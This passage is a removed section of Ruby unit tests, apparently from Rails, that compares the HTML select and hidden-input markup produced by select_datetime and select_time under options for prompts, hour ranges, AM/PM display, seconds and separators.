- expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005,
- :prefix => "date[first]", :prompt => true)
- end
-
- def test_select_datetime_with_custom_prompt
-
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
- expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
- expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]",
- :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
- end
-
- def test_select_datetime_with_custom_hours
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
- expected << %(<option value="">Choose hour</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
- expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :start_hour => 1, :end_hour => 9, :prefix => "date[first]",
- :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
- end
-
- def test_select_datetime_with_hidden
- expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
- expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
- expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
- expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
- expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
-
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :datetime_separator => "&mdash;", :date_separator => "/",
- :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
- end
-
- def test_select_time
- expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
- expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
- expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
- expected << %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18))
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false)
- end
-
- def test_select_time_with_ampm
- expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
- expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
- expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
- expected << %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false, :ampm => true)
- end
-
- def test_select_time_with_separator
- expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
- expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
- expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
- expected << %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ')
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ', :include_seconds => false)
- end
-
- def test_select_time_with_seconds
- expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
- expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
- expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
- expected << %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << ' : '
-
- expected << %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- expected << ' : '
-
- expected << %(<select id="date_second" name="date[second]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true)
- end
-
- def test_select_time_with_seconds_and_separator
- expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
- expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
- expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
- expected << %(<select id="date_hour" name="date[hour]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_minute" name="date[minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_second" name="date[second]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :time_separator => ' : ')
- end
-
- def test_select_time_with_html_options
- expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
- expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
- expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
-
- expected << %(<select id="date_hour" name="date[hour]" class="selector">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_minute" name="date[minute]" class="selector">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector')
- assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {:include_seconds => false}, :class => 'selector')
- end
-
